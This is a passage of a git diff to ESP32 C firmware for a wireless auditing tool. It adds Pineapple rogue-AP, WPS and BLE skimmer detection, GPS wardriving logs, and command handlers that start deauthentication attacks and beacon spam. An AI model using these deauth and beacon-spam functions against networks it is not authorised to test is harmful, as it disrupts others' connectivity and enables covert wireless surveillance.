+ + // Only proceed if this is a valid and unique SSID + if (!is_valid_unique_ssid(ssid, network)) + return; + + uint32_t ssid_hash = hash_ssid(ssid); + + // If this is a new SSID hash for this BSSID, add it + if (!ssid_hash_exists(network, ssid_hash) && network->ssid_count < MAX_SSIDS_PER_BSSID) { + network->ssid_hashes[network->ssid_count++] = ssid_hash; + + // Add to recent SSIDs circular buffer + strncpy(network->recent_ssids[network->recent_ssid_index], ssid, 32); + network->recent_ssid_index = (network->recent_ssid_index + 1) % RECENT_SSID_COUNT; + + // If we detect multiple SSIDs from same BSSID, mark as potential Pineap + if (network->ssid_count >= MIN_SSIDS_FOR_DETECTION && + (!is_blacklisted(hdr->addr3) || should_update_blacklisted(hdr->addr3))) { + + network->is_pineap = true; + add_to_blacklist(hdr->addr3); + + // Create new logging task if previous one has completed + if (network->log_task_handle == NULL) { + pineap_log_data_t *log_data = malloc(sizeof(pineap_log_data_t)); + if (!log_data) + return; + + memcpy(log_data->bssid, network->bssid, 6); + log_data->network = network; // Pass network pointer for up-to-date info + + BaseType_t result = xTaskCreate(log_pineap_detection, "pineap_log", 4096, log_data, + 1, &network->log_task_handle); + if (result != pdPASS) { + free(log_data); + network->log_task_handle = NULL; + } + } + + // Write to PCAP if capture is active + if (pcap_file != NULL) { + pcap_write_packet_to_buffer(ppkt->payload, ppkt->rx_ctrl.sig_len, + PCAP_CAPTURE_WIFI); + } + } + } +} static void trim_trailing(char *str) { int i = strlen(str) - 1; @@ -30,8 +395,8 @@ static void trim_trailing(char *str) { } } -void gps_event_handler(void *event_handler_arg, esp_event_base_t event_base, int32_t event_id, void *event_data) -{ +void gps_event_handler(void *event_handler_arg, esp_event_base_t event_base, int32_t event_id, + void *event_data) { switch (event_id) { case GPS_UPDATE: gps = (gps_t *)event_data; @@ -41,7 +406,6 @@ void gps_event_handler(void *event_handler_arg, esp_event_base_t event_base, int } } - bool compare_bssid(const uint8_t *bssid1, const uint8_t *bssid2) { for (int i = 0; i < 6; i++) { if (bssid1[i] != bssid2[i]) { @@ -53,50 +417,46 @@ bool compare_bssid(const uint8_t *bssid1, const uint8_t *bssid2) { bool is_network_duplicate(const char *ssid, const uint8_t *bssid) { for (int i = 0; i < detected_network_count; i++) { - if (strcmp(detected_wps_networks[i].ssid, ssid) == 0 && compare_bssid(detected_wps_networks[i].bssid, bssid)) { + if (strcmp(detected_wps_networks[i].ssid, ssid) == 0 && + compare_bssid(detected_wps_networks[i].bssid, bssid)) { return true; } } return false; } -void get_frame_type_and_subtype(const wifi_promiscuous_pkt_t *pkt, uint8_t *frame_type, uint8_t *frame_subtype) { +void get_frame_type_and_subtype(const wifi_promiscuous_pkt_t *pkt, uint8_t *frame_type, + uint8_t *frame_subtype) { if (pkt->rx_ctrl.sig_len < 24) { *frame_type = 0xFF; *frame_subtype = 0xFF; return; } - - const uint8_t* frame_ctrl = pkt->payload; - + const uint8_t *frame_ctrl = pkt->payload; *frame_type = (frame_ctrl[0] & 0x0C) >> 2; - *frame_subtype = (frame_ctrl[0] & 0xF0) >> 4; + *frame_subtype = (frame_ctrl[0] & 0xF0) >> 4; } - bool is_beacon_packet(const wifi_promiscuous_pkt_t *pkt) { uint8_t frame_type, frame_subtype; get_frame_type_and_subtype(pkt, &frame_type, &frame_subtype); return (frame_type == WIFI_PKT_MGMT && frame_subtype == WIFI_PKT_BEACON); } - bool is_deauth_packet(const wifi_promiscuous_pkt_t *pkt) { uint8_t frame_type, frame_subtype; get_frame_type_and_subtype(pkt, &frame_type, &frame_subtype); return (frame_type == WIFI_PKT_MGMT && frame_subtype == WIFI_PKT_DEAUTH); } - bool is_probe_request(const wifi_promiscuous_pkt_t *pkt) { uint8_t frame_type, frame_subtype; get_frame_type_and_subtype(pkt, &frame_type, &frame_subtype); return (frame_type == WIFI_PKT_MGMT && frame_subtype == WIFI_PKT_PROBE_REQ); } - bool is_probe_response(const wifi_promiscuous_pkt_t *pkt) { uint8_t frame_type, frame_subtype; get_frame_type_and_subtype(pkt, &frame_type, &frame_subtype); @@ -106,9 +466,7 @@ bool is_probe_response(const wifi_promiscuous_pkt_t *pkt) { bool is_eapol_response(const wifi_promiscuous_pkt_t *pkt) { const uint8_t *frame = pkt->payload; - - if ((frame[30] == 0x88 && frame[31] == 0x8E) || - (frame[32] == 0x88 && frame[33] == 0x8E)) { + if ((frame[30] == 0x88 && frame[31] == 0x8E) || (frame[32] == 0x88 && frame[33] == 0x8E)) { return true; } @@ -117,20 +475,19 @@ bool is_eapol_response(const wifi_promiscuous_pkt_t *pkt) { bool is_pwn_response(const wifi_promiscuous_pkt_t *pkt) { const uint8_t *frame = pkt->payload; - - if (frame[0] == 0x80) - { + + if (frame[0] == 0x80) { return true; } return false; } - -void wifi_raw_scan_callback(void* buf, wifi_promiscuous_pkt_type_t type) { - wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t*)buf; +void wifi_raw_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type) { + wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf; if (pkt->rx_ctrl.sig_len > 0) { - esp_err_t ret = pcap_write_packet_to_buffer(pkt->payload, pkt->rx_ctrl.sig_len, PCAP_CAPTURE_WIFI); + esp_err_t ret = + pcap_write_packet_to_buffer(pkt->payload, pkt->rx_ctrl.sig_len, PCAP_CAPTURE_WIFI); if (ret != ESP_OK) { ESP_LOGE("RAW_SCAN", "Failed to write packet to buffer"); } @@ -149,7 +506,6 @@ void wardriving_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type) { const uint8_t *payload = pkt->payload; int len = pkt->rx_ctrl.sig_len; - uint8_t frame_type = hdr->frame_ctrl & 0xFC; if (frame_type != 0x80 && frame_type != 0x50) { return; @@ -166,7 +522,6 @@ void wardriving_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type) { bool network_found = false; char encryption_type[8] = "OPEN"; - while (index + 1 < len) { uint8_t id = payload[index]; uint8_t ie_len = payload[index + 1]; @@ -175,18 +530,17 @@ void wardriving_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type) { break; } - if (id == 0 && ie_len <= 32) { memcpy(ssid, &payload[index + 2], ie_len); ssid[ie_len] = '\0'; trim_trailing(ssid); } - if (id == 48) { strncpy(encryption_type, "WPA2", sizeof(encryption_type)); } else if (id == 221) { - uint32_t oui = (payload[index + 2] << 16) | (payload[index + 3] << 8) | payload[index + 4]; + uint32_t oui = + (payload[index + 2] << 16) | (payload[index + 3] << 8) | payload[index + 4]; uint8_t oui_type = payload[index + 5]; if (oui == 0x0050f2 && oui_type == 0x01) { strncpy(encryption_type, "WPA", sizeof(encryption_type)); @@ -201,78 +555,86 @@ void wardriving_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type) { double latitude = 0; double longitude = 0; - if (gps != NULL) - { + if (gps != NULL) { latitude = gps->latitude; longitude = gps->longitude; } - - wardriving_data_t wardriving_data; strncpy(wardriving_data.ssid, ssid, sizeof(wardriving_data.ssid) - 1); - wardriving_data.ssid[sizeof(wardriving_data.ssid) - 1] = '\0'; // Null-terminate + wardriving_data.ssid[sizeof(wardriving_data.ssid) - 1] = '\0'; // Null-terminate snprintf(wardriving_data.bssid, sizeof(wardriving_data.bssid), "%02x:%02x:%02x:%02x:%02x:%02x", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]); wardriving_data.rssi = rssi; wardriving_data.channel = channel; wardriving_data.latitude = latitude; wardriving_data.longitude = longitude; - strncpy(wardriving_data.encryption_type, encryption_type, sizeof(wardriving_data.encryption_type) - 1); + strncpy(wardriving_data.encryption_type, encryption_type, + sizeof(wardriving_data.encryption_type) - 1); wardriving_data.encryption_type[sizeof(wardriving_data.encryption_type) - 1] = '\0'; esp_err_t err = gps_manager_log_wardriving_data(&wardriving_data); } -void wifi_probe_scan_callback(void* buf, wifi_promiscuous_pkt_type_t type) { - if (type != WIFI_PKT_MGMT) return; - wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t*)buf; +void wifi_probe_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type) { + if (type != WIFI_PKT_MGMT) + return; + wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf; if (pkt->rx_ctrl.sig_len > 0) { - esp_err_t ret = pcap_write_packet_to_buffer(pkt->payload, pkt->rx_ctrl.sig_len, PCAP_CAPTURE_WIFI); + esp_err_t ret = + pcap_write_packet_to_buffer(pkt->payload, pkt->rx_ctrl.sig_len, PCAP_CAPTURE_WIFI); if (ret != ESP_OK) { ESP_LOGE("PROBE_SCAN", "Failed to write packet to buffer"); } } } -void wifi_beacon_scan_callback(void* buf, wifi_promiscuous_pkt_type_t type) { - if (type != WIFI_PKT_MGMT) return; - wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t*)buf; +void wifi_beacon_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type) { + if (type != WIFI_PKT_MGMT) + return; + wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf; if (pkt->rx_ctrl.sig_len > 0) { - esp_err_t ret = pcap_write_packet_to_buffer(pkt->payload, pkt->rx_ctrl.sig_len, PCAP_CAPTURE_WIFI); + esp_err_t ret = + pcap_write_packet_to_buffer(pkt->payload, pkt->rx_ctrl.sig_len, PCAP_CAPTURE_WIFI); if (ret != ESP_OK) { ESP_LOGE("BEACON_SCAN", "Failed to write packet to buffer"); } } } -void wifi_deauth_scan_callback(void* buf, wifi_promiscuous_pkt_type_t type) { - if (type != WIFI_PKT_MGMT) return; - wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t*)buf; +void wifi_deauth_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type) { + if (type != WIFI_PKT_MGMT) + return; + wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf; if (pkt->rx_ctrl.sig_len > 0) { - esp_err_t ret = pcap_write_packet_to_buffer(pkt->payload, pkt->rx_ctrl.sig_len, PCAP_CAPTURE_WIFI); + esp_err_t ret = + pcap_write_packet_to_buffer(pkt->payload, pkt->rx_ctrl.sig_len, PCAP_CAPTURE_WIFI); if (ret != ESP_OK) { ESP_LOGE("DEAUTH_SCAN", "Failed to write packet to buffer"); } } } -void wifi_pwn_scan_callback(void* buf, wifi_promiscuous_pkt_type_t type) { - if (type != WIFI_PKT_MGMT) return; - wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t*)buf; +void wifi_pwn_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type) { + if (type != WIFI_PKT_MGMT) + return; + wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf; if (pkt->rx_ctrl.sig_len > 0) { - esp_err_t ret = pcap_write_packet_to_buffer(pkt->payload, pkt->rx_ctrl.sig_len, PCAP_CAPTURE_WIFI); + esp_err_t ret = + pcap_write_packet_to_buffer(pkt->payload, pkt->rx_ctrl.sig_len, PCAP_CAPTURE_WIFI); if (ret != ESP_OK) { ESP_LOGE("PWN_SCAN", "Failed to write packet to buffer"); } } } -void wifi_eapol_scan_callback(void* buf, wifi_promiscuous_pkt_type_t type) { - if (type != WIFI_PKT_MGMT) return; - wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t*)buf; +void wifi_eapol_scan_callback(void *buf, wifi_promiscuous_pkt_type_t type) { + if (type != WIFI_PKT_MGMT) + return; + wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf; if (pkt->rx_ctrl.sig_len > 0) { - esp_err_t ret = pcap_write_packet_to_buffer(pkt->payload, pkt->rx_ctrl.sig_len, PCAP_CAPTURE_WIFI); + esp_err_t ret = + pcap_write_packet_to_buffer(pkt->payload, pkt->rx_ctrl.sig_len, PCAP_CAPTURE_WIFI); if (ret != ESP_OK) { ESP_LOGE("EAPOL_SCAN", "Failed to write packet to buffer"); } @@ -291,51 +653,43 @@ void wifi_wps_detection_callback(void *buf, wifi_promiscuous_pkt_type_t type) { const uint8_t *payload = pkt->payload; int len = pkt->rx_ctrl.sig_len; - uint8_t frame_type = hdr->frame_ctrl & 0xFC; if (frame_type != 0x80 && frame_type != 0x50) { return; } - int index = 36; char ssid[33] = {0}; bool wps_found = false; uint8_t bssid[6]; memcpy(bssid, hdr->addr3, 6); - while (index + 1 < len) { uint8_t id = payload[index]; uint8_t ie_len = payload[index + 1]; - if (index + 2 + ie_len > len) { break; } - if (id == 0 && ie_len <= 32) { memcpy(ssid, &payload[index + 2], ie_len); ssid[ie_len] = '\0'; trim_trailing(ssid); } - if (is_network_duplicate(ssid, bssid)) { return; } - if (id == 221 && ie_len >= 4) { - uint32_t oui = (payload[index + 2] << 16) | (payload[index + 3] << 8) | payload[index + 4]; + uint32_t oui = + (payload[index + 2] << 16) | (payload[index + 3] << 8) | payload[index + 4]; uint8_t oui_type = payload[index + 5]; - if (oui == 0x0050f2 && oui_type == 0x04) { wps_found = true; - int attr_index = index + 6; int wps_ie_end = index + 2 + ie_len; @@ -343,58 +697,58 @@ void wifi_wps_detection_callback(void *buf, wifi_promiscuous_pkt_type_t type) { uint16_t attr_id = (payload[attr_index] << 8) | payload[attr_index + 1]; uint16_t attr_len = (payload[attr_index + 2] << 8) | payload[attr_index + 3]; - if (attr_len > (wps_ie_end - (attr_index + 4))) { break; } - if (attr_id == 0x1008 && attr_len == 2) { - uint16_t config_methods = (payload[attr_index + 4] << 8) | payload[attr_index + 5]; + uint16_t config_methods = + (payload[attr_index + 4] << 8) | payload[attr_index + 5]; - - printf("Configuration Methods found: 0x%04x", config_methods); + printf("Configuration Methods found: 0x%04x\n", config_methods); - if (config_methods & WPS_CONF_METHODS_PBC) { - printf("WPS Push Button detected for network: %s", ssid); - } else if (config_methods & (WPS_CONF_METHODS_PIN_DISPLAY | WPS_CONF_METHODS_PIN_KEYPAD)) { - printf("WPS PIN detected for network: %s", ssid); - } else { - printf("WPS mode not detected (unknown config method) for network: %s", ssid); + printf("WPS Push Button detected:\n%s\n", ssid); + TERMINAL_VIEW_ADD_TEXT("WPS Push Button detected:\n%s\n", ssid); + } else if (config_methods & + (WPS_CONF_METHODS_PIN_DISPLAY | WPS_CONF_METHODS_PIN_KEYPAD)) { + printf("WPS PIN detected:\n%s\n", ssid); + TERMINAL_VIEW_ADD_TEXT("WPS PIN detected:\n%s\n", ssid); } - - if (should_store_wps == 1) - { + if (should_store_wps == 1) { wps_network_t new_network; strncpy(new_network.ssid, ssid, sizeof(new_network.ssid) - 1); - new_network.ssid[sizeof(new_network.ssid) - 1] = '\0'; // Ensure null termination + new_network.ssid[sizeof(new_network.ssid) - 1] = + '\0'; // Ensure null termination memcpy(new_network.bssid, bssid, sizeof(new_network.bssid)); new_network.wps_enabled = true; - new_network.wps_mode = config_methods & (WPS_CONF_METHODS_PIN_DISPLAY | WPS_CONF_METHODS_PIN_KEYPAD) ? WPS_MODE_PIN : WPS_MODE_PBC; + new_network.wps_mode = config_methods & (WPS_CONF_METHODS_PIN_DISPLAY | + WPS_CONF_METHODS_PIN_KEYPAD) + ? WPS_MODE_PIN + : WPS_MODE_PBC; detected_wps_networks[detected_network_count++] = new_network; + } else { + pcap_write_packet_to_buffer(pkt->payload, pkt->rx_ctrl.sig_len, + PCAP_CAPTURE_WIFI); } - else - { - pcap_write_packet_to_buffer(pkt->payload, pkt->rx_ctrl.sig_len, PCAP_CAPTURE_WIFI); - } - + if (detected_network_count >= MAX_WPS_NETWORKS) { - printf("Maximum number of WPS networks detected. Stopping monitor mode."); + printf("Maximum number of WPS networks detected\nStopping monitor " + "mode.\n"); + TERMINAL_VIEW_ADD_TEXT( + "Maximum number of WPS networks detected\nStopping " + "monitor mode.\n"); wifi_manager_stop_monitor_mode(); - } - + } } - attr_index += (4 + attr_len); } } } - index += (2 + ie_len); } } @@ -414,23 +768,20 @@ void ble_wardriving_callback(struct ble_gap_event *event, void *arg) { // Get BLE MAC and RSSI snprintf(wardriving_data.ble_data.ble_mac, sizeof(wardriving_data.ble_data.ble_mac), - "%02x:%02x:%02x:%02x:%02x:%02x", - event->disc.addr.val[0], event->disc.addr.val[1], - event->disc.addr.val[2], event->disc.addr.val[3], - event->disc.addr.val[4], event->disc.addr.val[5]); - + "%02x:%02x:%02x:%02x:%02x:%02x", event->disc.addr.val[0], event->disc.addr.val[1], + event->disc.addr.val[2], event->disc.addr.val[3], event->disc.addr.val[4], + event->disc.addr.val[5]); + wardriving_data.ble_data.ble_rssi = event->disc.rssi; - + // Parse BLE name if available if (event->disc.length_data > 0) { - ble_hs_adv_parse(event->disc.data, - event->disc.length_data, - ble_hs_adv_parse_fields_cb, - &wardriving_data); + ble_hs_adv_parse(event->disc.data, event->disc.length_data, ble_hs_adv_parse_fields_cb, + &wardriving_data); } // Get GPS data from the global handle - gps_t* gps = &((esp_gps_t*)nmea_hdl)->parent; + gps_t *gps = &((esp_gps_t *)nmea_hdl)->parent; if (gps != NULL && gps->valid) { wardriving_data.gps_quality.satellites_used = gps->sats_in_use; wardriving_data.gps_quality.hdop = gps->dop_h; @@ -443,35 +794,32 @@ void ble_wardriving_callback(struct ble_gap_event *event, void *arg) { // Use GPS manager to log data esp_err_t err = gps_manager_log_wardriving_data(&wardriving_data); if (err != ESP_OK) { - ESP_LOGD("BLE_WD", "Skipped logging entry - GPS data not ready"); + ESP_LOGD("BLE_WD", "Skipped logging entry\nGPS data not ready"); } } // Move the callback implementation inside the ESP32S2 guard static int ble_hs_adv_parse_fields_cb(const struct ble_hs_adv_field *field, void *arg) { wardriving_data_t *data = (wardriving_data_t *)arg; - + if (field->type == BLE_HS_ADV_TYPE_COMP_NAME) { size_t name_len = MIN(field->length, sizeof(data->ble_data.ble_name) - 1); memcpy(data->ble_data.ble_name, field->value, name_len); data->ble_data.ble_name[name_len] = '\0'; } - + return 0; } #endif - // wrap for esp32s2 #ifndef CONFIG_IDF_TARGET_ESP32S2 static const char *SKIMMER_TAG = "SKIMMER_DETECT"; // suspicious device names commonly used in skimmers -static const char *suspicious_names[] = { - "HC-03", "HC-05", "HC-06", "HC-08", - "BT-HC05", "JDY-31", "AT-09", "HM-10", - "CC41-A", "MLT-BT05", "SPP-CA", "FFD0" -}; +static const char *suspicious_names[] = {"HC-03", "HC-05", "HC-06", "HC-08", + "BT-HC05", "JDY-31", "AT-09", "HM-10", + "CC41-A", "MLT-BT05", "SPP-CA", "FFD0"}; static const int suspicious_names_count = sizeof(suspicious_names) / sizeof(suspicious_names[0]); void ble_skimmer_scan_callback(struct ble_gap_event *event, void *arg) { if (!event || event->type != BLE_GAP_EVENT_DISC) { @@ -479,9 +827,8 @@ void ble_skimmer_scan_callback(struct ble_gap_event *event, void *arg) { } struct ble_hs_adv_fields fields; - int rc = ble_hs_adv_parse_fields(&fields, event->disc.data, - event->disc.length_data); - + int rc = ble_hs_adv_parse_fields(&fields, event->disc.data, event->disc.length_data); + if (rc != 0) { ESP_LOGD(SKIMMER_TAG, "Failed to parse advertisement data"); return; @@ -498,51 +845,73 @@ void ble_skimmer_scan_callback(struct ble_gap_event *event, void *arg) { if (strcasecmp(device_name, suspicious_names[i]) == 0) { char mac_addr[18]; snprintf(mac_addr, sizeof(mac_addr), "%02x:%02x:%02x:%02x:%02x:%02x", - event->disc.addr.val[0], event->disc.addr.val[1], - event->disc.addr.val[2], event->disc.addr.val[3], - event->disc.addr.val[4], event->disc.addr.val[5]); + event->disc.addr.val[0], event->disc.addr.val[1], event->disc.addr.val[2], + event->disc.addr.val[3], event->disc.addr.val[4], event->disc.addr.val[5]); + + printf("\nPOTENTIAL SKIMMER DETECTED!\n"); + TERMINAL_VIEW_ADD_TEXT("\nPOTENTIAL SKIMMER DETECTED!\n"); + + printf("Device Name: %s\n", device_name); + TERMINAL_VIEW_ADD_TEXT("Device Name: "); + TERMINAL_VIEW_ADD_TEXT(device_name); + TERMINAL_VIEW_ADD_TEXT("\n"); - ESP_LOGW(SKIMMER_TAG, "POTENTIAL SKIMMER DETECTED!"); - ESP_LOGW(SKIMMER_TAG, "Device Name: %s", device_name); - ESP_LOGW(SKIMMER_TAG, "MAC Address: %s", mac_addr); - ESP_LOGW(SKIMMER_TAG, "RSSI: %d dBm", event->disc.rssi); + printf("MAC Address: %s\n", mac_addr); + TERMINAL_VIEW_ADD_TEXT("MAC Address: "); + TERMINAL_VIEW_ADD_TEXT(mac_addr); + TERMINAL_VIEW_ADD_TEXT("\n"); + + printf("RSSI: %d dBm\n", event->disc.rssi); + TERMINAL_VIEW_ADD_TEXT("RSSI: "); + char rssi_str[12]; + snprintf(rssi_str, sizeof(rssi_str), "%d", event->disc.rssi); + TERMINAL_VIEW_ADD_TEXT(rssi_str); + TERMINAL_VIEW_ADD_TEXT(" dBm\n"); + + printf("Reason:\nMatched known skimmer pattern: %s\n", suspicious_names[i]); + TERMINAL_VIEW_ADD_TEXT("Reason:\nMatched known skimmer pattern: "); + TERMINAL_VIEW_ADD_TEXT(suspicious_names[i]); + TERMINAL_VIEW_ADD_TEXT("\n"); + + printf("Please verify before taking action.\n\n"); + TERMINAL_VIEW_ADD_TEXT("Please verify before taking action.\n\n"); + + // pulse rgb red once when skimmer is detected + pulse_once(&rgb_manager, 255, 0, 0); // Create enhanced PCAP packet with metadata if (pcap_file != NULL) { // Format: [Timestamp][MAC][RSSI][Name][Raw Data] uint8_t enhanced_packet[256] = {0}; size_t packet_len = 0; - + // Add MAC address memcpy(enhanced_packet + packet_len, event->disc.addr.val, 6); packet_len += 6; - + // Add RSSI enhanced_packet[packet_len++] = (uint8_t)event->disc.rssi; - + // Add device name length and name enhanced_packet[packet_len++] = (uint8_t)name_len; memcpy(enhanced_packet + packet_len, device_name, name_len); packet_len += name_len; - + // Add reason for flagging const char *reason = suspicious_names[i]; uint8_t reason_len = strlen(reason); enhanced_packet[packet_len++] = reason_len; memcpy(enhanced_packet + packet_len, reason, reason_len); packet_len += reason_len; - + // Add raw advertisement data - memcpy(enhanced_packet + packet_len, - event->disc.data, - event->disc.length_data); + memcpy(enhanced_packet + packet_len, event->disc.data, event->disc.length_data); packet_len += event->disc.length_data; // Write to PCAP with proper BLE packet format - pcap_write_packet_to_buffer(enhanced_packet, - packet_len, - PCAP_CAPTURE_BLUETOOTH); - + pcap_write_packet_to_buffer(enhanced_packet, packet_len, + PCAP_CAPTURE_BLUETOOTH); + // Force flush to ensure suspicious device is captured pcap_flush_buffer_to_file(); } @@ -552,4 +921,3 @@ void ble_skimmer_scan_callback(struct ble_gap_event *event, void *arg) { } } #endif - diff --git a/main/core/commandline.c b/main/core/commandline.c index 6fd84074..cf2c5328 100644 --- a/main/core/commandline.c +++ b/main/core/commandline.c @@ -1,31 +1,29 @@ // command.c #include "core/commandline.h" -#include "managers/wifi_manager.h" -#include "managers/rgb_manager.h" +#include "core/callbacks.h" +#include "esp_sntp.h" #include "managers/ap_manager.h" #include "managers/ble_manager.h" -#include "managers/settings_manager.h" -#include -#include -#include #include "managers/dial_manager.h" -#include "core/callbacks.h" -#include +#include "managers/rgb_manager.h" +#include "managers/settings_manager.h" +#include "managers/wifi_manager.h" #include "vendor/pcap.h" -#include -#include +#include "vendor/printer.h" +#include #include #include -#include "vendor/printer.h" -#include "esp_sntp.h" +#include +#include +#include +#include +#include static Command *command_list_head = NULL; TaskHandle_t VisualizerHandle = NULL; -void command_init() { - command_list_head = NULL; -} +void command_init() { command_list_head = NULL; } void register_command(const char *name, CommandFunction function) { // Check if the command already exists @@ -106,15 +104,12 @@ void handle_list(int argc, char **argv) { if (argc > 1 && strcmp(argv[1], "-a") == 0) { cmd_wifi_scan_results(argc, argv); return; - } - else if (argc > 1 && strcmp(argv[1], "-s") == 0) - { + } else if (argc > 1 && strcmp(argv[1], "-s") == 0) { wifi_manager_list_stations(); printf("Listed Stations...\n"); TERMINAL_VIEW_ADD_TEXT("Listed Stations...\n"); return; - } - else { + } else { printf("Usage: list -a (for Wi-Fi scan results)\n"); TERMINAL_VIEW_ADD_TEXT("Usage: list -a (for Wi-Fi scan results)\n"); } @@ -142,59 +137,46 @@ void handle_beaconspam(int argc, char **argv) { return; } - if (argc > 1) - { + if (argc > 1) { wifi_manager_start_beacon(argv[1]); return; - } - else { + } else { printf("Usage: beaconspam -r (for Beacon Spam Random)\n"); TERMINAL_VIEW_ADD_TEXT("Usage: beaconspam -r (for Beacon Spam Random)\n"); } } - -void handle_stop_spam(int argc, char **argv) -{ +void handle_stop_spam(int argc, char **argv) { wifi_manager_stop_beacon(); printf("Beacon Spam Stopped...\n"); TERMINAL_VIEW_ADD_TEXT("Beacon Spam Stopped...\n"); } -void handle_sta_scan(int argc, char **argv) -{ +void handle_sta_scan(int argc, char **argv) { wifi_manager_start_monitor_mode(wifi_stations_sniffer_callback); printf("Started Station Scan...\n"); TERMINAL_VIEW_ADD_TEXT("Started Station Scan...\n"); } - -void handle_attack_cmd(int argc, char **argv) -{ +void handle_attack_cmd(int argc, char **argv) { if (argc > 1 && strcmp(argv[1], "-d") == 0) { printf("Deauth Attack Starting...\n"); TERMINAL_VIEW_ADD_TEXT("Deauth Attack Starting...\n"); wifi_manager_start_deauth(); return; - } - else - { + } else { printf("Usage: attack -d (for deauthing access points)\n"); TERMINAL_VIEW_ADD_TEXT("Usage: attack -d (for deauthing access points)\n"); } } - -void handle_stop_deauth(int argc, char **argv) -{ +void handle_stop_deauth(int argc, char **argv) { wifi_manager_stop_deauth(); printf("Deauthing Stopped....\n"); TERMINAL_VIEW_ADD_TEXT("Deauthing Stopped....\n"); } - -void handle_select_cmd(int argc, char **argv) -{ +void handle_select_cmd(int argc, char **argv) { if (argc != 3) { printf("Usage: select -a \n"); TERMINAL_VIEW_ADD_TEXT("Usage: select -a \n"); @@ -203,9 +185,8 @@ void handle_select_cmd(int argc, char **argv) if (strcmp(argv[1], "-a") == 0) { char *endptr; - - int num = (int)strtol(argv[2], &endptr, 10); + int num = (int)strtol(argv[2], &endptr, 10); if (*endptr == '\0') { wifi_manager_select_ap(num); @@ -219,79 +200,74 @@ void handle_select_cmd(int argc, char **argv) } } - void discover_task(void *pvParameter) { DIALClient client; DIALManager manager; if (dial_client_init(&client) == ESP_OK) { - + dial_manager_init(&manager, &client); - explore_network(&manager); - dial_client_deinit(&client); } else { - printf("Failed to initialize DIAL client.\n"); - TERMINAL_VIEW_ADD_TEXT("Failed to initialize DIAL client.\n"); + printf("Failed to init DIAL client.\n"); + TERMINAL_VIEW_ADD_TEXT("Failed to init DIAL client.\n"); } vTaskDelete(NULL); } -void handle_stop_flipper(int argc, char** argv) -{ +void handle_stop_flipper(int argc, char **argv) { wifi_manager_stop_deauth(); #ifndef CONFIG_IDF_TARGET_ESP32S2 ble_stop(); #endif - csv_flush_buffer_to_file(); // Ensure any buffered data is written - csv_file_close(); // Close any open CSV files - gps_manager_deinit(&g_gpsManager); // Clean up GPS if active - wifi_manager_stop_monitor_mode(); // Stop any active monitoring - printf("All activities stopped and files closed.\n"); - TERMINAL_VIEW_ADD_TEXT("All activities stopped and files closed.\n"); + if (buffer_offset > 0) { // Only flush if there's data in buffer + csv_flush_buffer_to_file(); + } + csv_file_close(); // Close any open CSV files + gps_manager_deinit(&g_gpsManager); // Clean up GPS if active + wifi_manager_stop_monitor_mode(); // Stop any active monitoring + printf("Stopped all activities and\nclosed files.\n"); + TERMINAL_VIEW_ADD_TEXT("Stopped all activities and\nclosed files.\n"); } -void handle_dial_command(int argc, char** argv) -{ +void handle_dial_command(int argc, char **argv) { xTaskCreate(&discover_task, "discover_task", 10240, NULL, 5, NULL); } -void handle_wifi_connection(int argc, char** argv) { +void handle_wifi_connection(int argc, char **argv) { if (argc < 2) { printf("Usage: %s \n", argv[0]); TERMINAL_VIEW_ADD_TEXT("Usage: %s \n", argv[0]); return; } - const char* ssid = argv[1]; - const char* password = ""; + const char *ssid = argv[1]; + const char *password = ""; - if (argc == 3 && strlen(argv[2]) > 8) - { + if (argc == 3 && strlen(argv[2]) > 8) { password = argv[2]; } if (strlen(ssid) == 0) { - printf("SSID and password cannot be empty\n"); - TERMINAL_VIEW_ADD_TEXT("SSID and password cannot be empty\n"); + printf("SSID and PSK cannot be empty\n"); + TERMINAL_VIEW_ADD_TEXT("SSID and PSK cannot be empty\n"); return; } printf("Connecting to SSID: %s\n", ssid); TERMINAL_VIEW_ADD_TEXT("Connecting to SSID: %s\n", ssid); - + wifi_manager_connect_wifi(ssid, password); - if (VisualizerHandle == NULL) - { + if (VisualizerHandle == NULL) { #ifdef WITH_SCREEN - xTaskCreate(screen_music_visualizer_task, "udp_server", 4096, NULL, 5, &VisualizerHandle); + xTaskCreate(screen_music_visualizer_task, "udp_server", 4096, NULL, 5, &VisualizerHandle); #else - xTaskCreate(animate_led_based_on_amplitude, "udp_server", 4096, NULL, 5, &VisualizerHandle); + xTaskCreate(animate_led_based_on_amplitude, "udp_server", 4096, NULL, 5, &VisualizerHandle); #endif } @@ -300,31 +276,28 @@ void handle_wifi_connection(int argc, char** argv) { sntp_setservername(0, "pool.ntp.org"); sntp_init(); #endif - } - #ifndef CONFIG_IDF_TARGET_ESP32S2 -void handle_ble_scan_cmd(int argc, char**argv) -{ +void handle_ble_scan_cmd(int argc, char **argv) { if (argc > 1 && strcmp(argv[1], "-f") == 0) { - printf("Starting Find the Flippers...\n"); - TERMINAL_VIEW_ADD_TEXT("Starting Find the Flippers...\n"); + printf("Starting Find the Flippers.\n"); + TERMINAL_VIEW_ADD_TEXT("Starting Find the Flippers.\n"); ble_start_find_flippers(); return; } if (argc > 1 && strcmp(argv[1], "-ds") == 0) { - printf("Starting BLE Spam Detector...\n"); - TERMINAL_VIEW_ADD_TEXT("Starting BLE Spam Detector...\n"); + printf("Starting BLE Spam Detector.\n"); + 